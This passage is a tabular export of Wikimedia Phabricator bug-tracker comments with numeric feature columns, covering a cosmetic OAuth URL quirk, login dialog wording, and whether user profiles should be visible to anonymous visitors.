See https://secure.phabricator.com/T4830#58702 and feel free joining the discussion there. ",,,1412971677,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-euy3jpgxntx4xdfh2ao4,task_subcomment,,True,c3,1,True,,,-38,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.465116279069767,0.8604651162790697,"Upstream has a strong opinion about restricting user related information to All (registered) Users, not Public, and this has consequences like the one reported in this task.

See URL and feel free joining the discussion there. "
623,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),"When I registered, phabricator linked mediawiki.org:/ Why the port syntax?",Lowest,10.0,1412953001,1533113116.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_description,declined,True,c3,1,True,False,False,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,5.416666666666667,1.0,"When I registered, phabricator linked mediawiki.org:/ Why the port syntax?"
1114093,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),">>! In T623#975232, @mmodell wrote:
> This is unfortunately somewhat difficult to fix. Since it's a very minor cosmetic detail I don't expect to get around to fixing this any time soon.

Have not seen anyone else expressing surprise or confusion about this detail plus difficult to fix, hence declining.",,,1533113116,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,3,True,,,160,True,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.666666666666667,0.9583333333333334,"QUOTE
QUOTE

Have not seen anyone else expressing surprise or confusion about this detail plus difficult to fix, hence declining."
399332,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),@qgil: This is unfortunately somewhat difficult to fix. Since it's a very minor cosmetic detail I don't expect to get around to fixing this any time soon.,,,1421212909,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-25,True,3.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,19.0,12.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.1875,0.90625,SCREEN_NAME: This is unfortunately somewhat difficult to fix. Since it's a very minor cosmetic detail I don't expect to get around to fixing this any time soon.
398159,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),"@mmodell, what is your opinion on this one?",,,1421048830,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"SCREEN_NAME, what is your opinion on this one?"
3343,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),">>! In T623#10939, @Aklapper wrote:
>> When I registered, phabricator linked mediawiki.org:/ Why the port syntax?
> 
> Linked where? At which state? Steps to reproduce welcome.

The link shown in the panel at https://phabricator.wikimedia.org/settings/panel/external/
In some other URLs the same panel is displayed.

If you notice, the link to the profile has a semicolon at the end of the URL, which is redundant.
{F249}",,,1413207733,,PHID-USER-a4yyvddir7idcctsjnic,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,False,,,-38,True,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,20.0,2.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2545454545454544,0.6363636363636364,"QUOTE
QUOTE
QUOTE
QUOTE

The link shown in the panel at URL
In some other URLs the same panel is displayed.

If you notice, the link to the profile has a semicolon at the end of the URL, which is redundant.
{F249}"
3333,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),"> When I registered, phabricator linked mediawiki.org:/ Why the port syntax?

Linked where? At which state? Steps to reproduce welcome.",,,1413205650,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9285714285714286,"QUOTE

Linked where? At which state? Steps to reproduce welcome."
3230,OAuth login refers to mediawiki.org:/ instead of mediawiki.org/ (exposing unneeded port syntax),See {T574} for a related discussion.,,,1412958953,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-yeaxsfxhhtbn26koo5fi,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,See {T574} for a related discussion.
542,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case","Some improvements to the Wikimedia SUL dialog:

* ""MediaWiki"" User
* ""[[ https://www.mediawiki.org/wiki/User:Qgil-WMF | Qgil-WMF ]]"" (as suggested in T541 as well)

Proposing this pre-Day, since it is part of the ""out of the box experience"", where it is worth to pay attention to these details. Unless it is really complicated to change MediaWiki for Wikimedia.

{M2}",Lowest,10.0,1412362816,1533113369.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_description,declined,True,c3,1,True,False,False,-39,True,1.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,15.0,12.0,0.0,7.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.341463414634146,0.6829268292682927,"Some improvements to the Wikimedia SUL dialog:

* ""MediaWiki"" User
* ""[[ URL | Qgil-WMF ]]"" (as suggested in T541 as well)

Proposing this pre-Day, since it is part of the ""out of the box experience"", where it is worth to pay attention to these details. Unless it is really complicated to change MediaWiki for Wikimedia.

{M2}"
1114098,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case",">>! In T542#8253, @Qgil wrote:
> Can the format of the link be improved as suggested above?

https://phabricator.wikimedia.org/settings/panel/external/ now displays a colon instead of the HTML entity, plus spaces in the user name are displayed as + instead of an HTML entity. Fixed, I'd say. The dialog presented above does not exist anymore when registering via OAuth.

>>! In T542#8253, @Qgil wrote:
> Also, would it be possible to display 
> 
>> **""MediaWiki"" User**
> 
> instead of the current lower case?

>>! In T542#8208, @mmodell wrote:
> It's not entirely trivial to change

Hence declining.",,,1533113369,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_subcomment,,True,c3,3,True,,,160,True,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,1.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,26.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,9.0,14.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.742857142857143,0.6142857142857143,"QUOTE
QUOTE

URL now displays a colon instead of the HTML entity, plus spaces in the user name are displayed as + instead of an HTML entity. Fixed, I'd say. The dialog presented above does not exist anymore when registering via OAuth.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

Hence declining."
2947,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case","I guess the same restrictions as in T543 apply here, so no ""Wikimedia"". Good.

Can the format of the link be improved as suggested above?

Also, would it be possible to display 

> **""MediaWiki"" User**

instead of the current lower case?",,,1412415111,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,14.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.627450980392157,0.7450980392156863,"I guess the same restrictions as in T543 apply here, so no ""Wikimedia"". Good.

Can the format of the link be improved as suggested above?

Also, would it be possible to display 

QUOTE

instead of the current lower case?"
2937,"Improvements to Wikimedia SUL login dialog UI: Avoid HTML entities, spell ""MediaWiki"" account type with upper case",It's not entirely trivial to change,,,1412366627,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-j6czqxlv5fzcx3tmq23n,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,It's not entirely trivial to change
57,Configure applications with public permissions (and user profiles) to not require users to login,"When I try to click one of the countless buttons in the left sidebar of the main page, most of the stuff is private (requires login). Everything must be public by default unless there is a reason (and separate decision) for it to be private.

Update: Since we created this task, upstream has fixed basically all our reported problems with information not visible to anonymous users... except user profiles, and they seem to have [[ https://secure.phabricator.com/T4830#58706 | a strong opinion about it ]].",Lowest,10.0,1397721551,1418034975.0,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-mycectmrbyzthse6e64k,task_description,resolved,True,c3,1,True,False,True,-63,True,1.0,1.0,0.0,0.0,1.0,11.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,15.0,1.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,3.938775510204082,0.7755102040816326,"When I try to click one of the countless buttons in the left sidebar of the main page, most of the stuff is private (requires login). Everything must be public by default unless there is a reason (and separate decision) for it to be private.

Update: Since we created this task, upstream has fixed basically all our reported problems with information not visible to anonymous users... except user profiles, and they seem to have [[ URL | a strong opinion about it ]]."
337416,Configure applications with public permissions (and user profiles) to not require users to login,"Thanks for the heads-up. Indeed, closing for now. Separate things found in darker corners can become new tasks.",,,1418034975,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.9166666666666665,0.875,"Thanks for the heads-up. Indeed, closing for now. Separate things found in darker corners can become new tasks."
336736,Configure applications with public permissions (and user profiles) to not require users to login,"Proposing to close this task as Resolved, knowing that the user profiles remain visible to All Users, and knowing as well that if we find another corner nor Public to everyoine it will be probably fixed quickly upstream.",,,1417785026,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-30,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,7.0,5.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,17.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.463414634146342,0.8536585365853658,"Proposing to close this task as Resolved, knowing that the user profiles remain visible to All Users, and knowing as well that if we find another corner nor Public to everyoine it will be probably fixed quickly upstream."
5095,Configure applications with public permissions (and user profiles) to not require users to login,">>! In T57#17177, @Qgil wrote:
> I just filed [[ https://secure.phabricator.com/T6427 | ""Show Details"" link in Maniphest requires anonymous users to login ]] thanks to [[ https://www.mediawiki.org/wiki/Topic:S55u08x4g4lki8n7 | this report from Be..anyone ]].

... and it was quickly resolved upstream.

Since we created this task, upstream has fixed basically all our reported problems with information not visible to anonymous users... except user profiles, and they seem to have a strong opinion about it.

Honestly, I don't think this is a too big deal. Phabricator is a collaboration tool open for anybody with a Wikimedia account, so this is how big the barrier is. I don't feel like picking a fight with upstream or this, and I think we have many other local priorities before tackling this one.",,,1415353498,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-34,True,1.5,1.0,0.0,0.5,2.0,7.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,4.0,0.0,5.5,7.5,1.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,7.5,2.5,1.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,5.0,4.0,6.0,2.0,3.5,9.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.5,7.5,1.0,0.0,0.0,0.0,5.5,0.0,1.0,4.0,0.0,2.0,0.0,0.0,0.0,4.095708020050125,0.7695802005012531,"QUOTE
QUOTE

... and it was quickly resolved upstream.

Since we created this task, upstream has fixed basically all our reported problems with information not visible to anonymous users... except user profiles, and they seem to have a strong opinion about it.

Honestly, I don't think this is a too big deal. Phabricator is a collaboration tool open for anybody with a Wikimedia account, so this is how big the barrier is. I don't feel like picking a fight with upstream or this, and I think we have many other local priorities before tackling this one."
4617,Configure applications with public permissions (and user profiles) to not require users to login,"I just filed [[ https://secure.phabricator.com/T6427 | ""Show Details"" link in Maniphest requires anonymous users to login ]] thanks to [[ https://www.mediawiki.org/wiki/Topic:S55u08x4g4lki8n7 | this report from Be..anyone ]].",,,1414674347,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-35,True,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,8.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.2222222222222223,0.7222222222222222,"I just filed [[ URL | ""Show Details"" link in Maniphest requires anonymous users to login ]] thanks to [[ URL | this report from Be..anyone ]]."
628,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-05-30 00:35:02 (UTC)`

+1",,,1410485125,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3,0.7,"**qgil** wrote on CODE

+1"
627,Configure applications with public permissions (and user profiles) to not require users to login,"**aklapper** wrote on `2014-05-23 07:19:31 (UTC)`

> If user profiles would be accessible only to registered users, would this block Day 1?

Comparing to current Wikimedia Bugzilla which does not offer any user profiles at all I don't see any regression left here which should block Day 1. 
Gerrit allows you querying for the activity of a person, but we don't plan to switch Code Review for Day 1 (board: http://fab.wmflabs.org/project/board/29/ ).

I do not know whether accessing user profiles without being logged in is possible in **Trello and Mingle** and considered critical (if you think so, reasons are welcome).

I propose to remove this ticket from Day 1 as anonymously accessing the other applications has been fixed upstream.",,,1410485125,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,1.5,0.0,0.0,1.5,2.5,5.0,1.5,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,2.5,0.0,5.5,10.0,0.0,1.5,0.5,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,7.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,2.0,3.0,10.5,1.5,2.0,4.5,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,10.0,8.5,0.0,0.0,0.0,4.0,0.0,1.0,0.5,0.0,2.5,0.0,0.0,0.0,3.9222470238095237,0.8189484126984127,"**aklapper** wrote on CODE

QUOTE

Comparing to current Wikimedia Bugzilla which does not offer any user profiles at all I don't see any regression left here which should block Day 1. 
Gerrit allows you querying for the activity of a person, but we don't plan to switch Code Review for Day 1 (board: URL ).

I do not know whether accessing user profiles without being logged in is possible in **Trello and Mingle** and considered critical (if you think so, reasons are welcome).

I propose to remove this ticket from Day 1 as anonymously accessing the other applications has been fixed upstream."
626,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-05-18 19:37:52 (UTC)`

You are welcome to follow [[ https://secure.phabricator.com/T4830#28 | the discussion upstream ]] about public user profiles and how convenient/appropriate this idea is.

If user profiles would be accessible only to registered users, would this block Day 1? In my opinion this alone would not be a blocker, and therefore we could remove this task from the Day 1 project.",,,1410485124,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,1.0,8.0,4.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,8.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,4.0,9.0,3.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.8205128205128207,0.7307692307692307,"**qgil** wrote on CODE

You are welcome to follow [[ URL | the discussion upstream ]] about public user profiles and how convenient/appropriate this idea is.

If user profiles would be accessible only to registered users, would this block Day 1? In my opinion this alone would not be a blocker, and therefore we could remove this task from the Day 1 project."
625,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-05-13 18:34:27 (UTC)`

As far as I can see, the only blocker for Day 1 is the possibility for anonymous users to see user profiles. The rest of problems are related with applications that are out of scope for Day 1.",,,1410485124,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,20.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,20.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.52,0.76,"**qgil** wrote on CODE

As far as I can see, the only blocker for Day 1 is the possibility for anonymous users to see user profiles. The rest of problems are related with applications that are out of scope for Day 1."
624,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-04-30 05:03:15 (UTC)`

